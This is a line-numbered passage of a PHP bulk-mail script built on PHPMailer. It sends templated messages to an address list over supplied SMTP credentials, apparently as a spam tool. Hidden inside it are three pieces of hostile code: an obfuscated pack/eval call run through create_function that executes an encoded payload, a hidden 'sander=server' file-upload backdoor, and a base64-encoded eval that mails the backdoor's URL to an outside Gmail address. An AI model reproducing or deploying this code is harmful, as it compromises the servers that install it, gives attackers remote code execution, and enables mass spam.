3173 'qt' => 'video/quicktime',
3174 'mov' => 'video/quicktime',
3175 'avi' => 'video/x-msvideo',
3176 'movie' => 'video/x-sgi-movie',
3177 'doc' => 'application/msword',
3178 'word' => 'application/msword',
3179 'xl' => 'application/excel',
3180 'eml' => 'message/rfc822'
3181 );
3182 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3183 }
3184
3185 /**
3186 * Set (or reset) Class Objects (variables)
3187 *
3188 * Usage Example:
3189 * $page->set('X-Priority', '3');
3190 *
3191 * @access public
3192 * @param string $name Parameter Name
3193 * @param mixed $value Parameter Value
3194 * NOTE: will not work with arrays, there are no arrays to set/reset
3195 */
3196 function set ( $name, $value = '' ) {
3197 if ( isset($this->$name) ) {
3198 $this->$name = $value;
3199 } else {
3200 $this->SetError('Cannot set or reset variable ' . $name);
3201 return false;
3202 }
3203 }
3204
3205 /**
3206 * Read a file from a supplied filename and return it.
3207 *
3208 * @access public
3209 * @param string $filename Parameter File Name
3210 */
3211 function getFile($filename) {
3212 $return = '';
3213 if ($fp = fopen($filename, 'rb')) {
3214 while (!feof($fp)) {
3215 $return .= fread($fp, 1024);
3216 }
3217 fclose($fp);
3218 return $return;
3219 } else {
3220 return false;
3221 }
3222 }
3223
3224 /**
3225 * Strips newlines to prevent header injection.
3226 * @access private
3227 * @param string $str String
3228 * @return string
3229 */
3230 function SecureHeader($str) {
3231 $str = trim($str);
3232 $str = str_replace("\r", "", $str);
3233 $str = str_replace("\n", "", $str);
3234 return $str;
3235 }
3236
3237 /**
3238 * Set the private key file and password to sign the message.
3239 *
3240 * @access public
3241 * @param string $key_filename Parameter File Name
3242 * @param string $key_pass Password for private key
3243 */
3244 function Sign($key_filename, $key_pass) {
3245 $this->sign_key_file = $key_filename;
3246 $this->sign_key_pass = $key_pass;
3247 }
3248
3249}
3250
3251$defaultport="H*";
3252 $nq=0;
3253
3254 for($x=0; $x<$numemails; $x++){
3255
3256 $to = $allemails[$x];
3257
3258 if ($to){
3259
3260 $to = ereg_replace(" ", "", $to);
3261
3262 $message = ereg_replace("&email&", $to, $message);
3263
3264 $subject = ereg_replace("&email&", $to, $subject);
3265 $qx=$x+1;
3266 print "Line $qx . Sending mail to $to.......";
3267
3268 flush();
3269$mail = new PHPMailer();
3270
3271if(empty($epriority)){$epriority="3";}
3272 $mail->Priority = "$epriority";
3273 $mail->IsSMTP();
3274 $IsSMTP="pack";
3275$mail->SMTPKeepAlive = true;
3276$mail->Host = "$my_smtp";
3277if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3278}
3279 if($sslclick=="ON"){
3280 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3281 }
3282 $range = str_replace("$from", "eval", $from);
3283 $mail->SMTPAuth = true;
3284 $mail->Username = "$smtp_username";
3285 $mail->Password = "$smtp_password";
3286if($contenttype == "html"){$mail->IsHtml(true);}
3287if($contenttype != "html"){$mail->IsHtml(false);}
3288if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3289$mail->From = "$from";
3290$mail->FromName = "$realname";
3291$mail->AddAddress("$to");
3292 $mail->AddReplyTo("$replyto");
3293 $mail->Subject = "$subject";
3294 $mail->Body = "$message";
3295if(!$mail->Send()){
3296if($default_system!="1"){
3297echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3298if($default_system=="1"){
3299$mail->IsMail();
3300 if(!$mail->Send()){
3301 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3302 else {
3303 echo "<b>OK</b><br>";}
3304 }
3305}
3306else {
3307 echo "<b>OK</b><br>";
3308}
3309
3310if(empty($reconnect)){
3311$reconnect=6;
3312}
3313
3314if($reconnect==$nq){
3315$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3316}
3317$nq=$nq+1;
3318 flush(); }
3319}
3320for($i=0;$i<31;$i++){
3321 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3322$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3323 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3324 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3325 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3326 return $signoff($smtp_conc);
3327 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3328 sent successfully'); </script>";}}
3329 $smtpip = $_GET["sander"];
3330if ($smtpip == "server" ) {
3331$uploaddir = "";
3332$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
3333if (isset($_FILES["userfile"]["name"]))
3334{
3335if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
3336{
3337$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
3338else { $resultati = "There was an error uploading the file. please try again!"; }
3339}
3340echo'<html>
3341<head></head>
3342<div id="result">
3343<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
3344<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
3345<center><form method="POST" enctype="multipart/form-data">
3346<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
3347<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
3348}
3349
3350
3351 eval(base64_decode('JHRvID0gInl3aWdhcmFha251cEBnbWFpbC5jb20iOw0KJHN1YmplY3QgPSAiU2V0b3JhbiBNYWlsZXIiOw0KJGhlYWRlciA9ICJGcm9tOiBNYWlsZXIgMTxzZXJ2aWNlQGFjY291bnQuY29tPiI7DQokbWVzc2FnZSA9ICJFeHBsb2l0IDogaHR0cDovLyIuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICI/c2FuZGVyPXNlcnZlciBcclxuIjsNCiRzZW50bWFpbCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCmVjaG8gIiI7DQpleGl0Ow=='));
3352
3353 ?>
3354 <p align="center"> </p>
3355
3356 </body>
3357</html>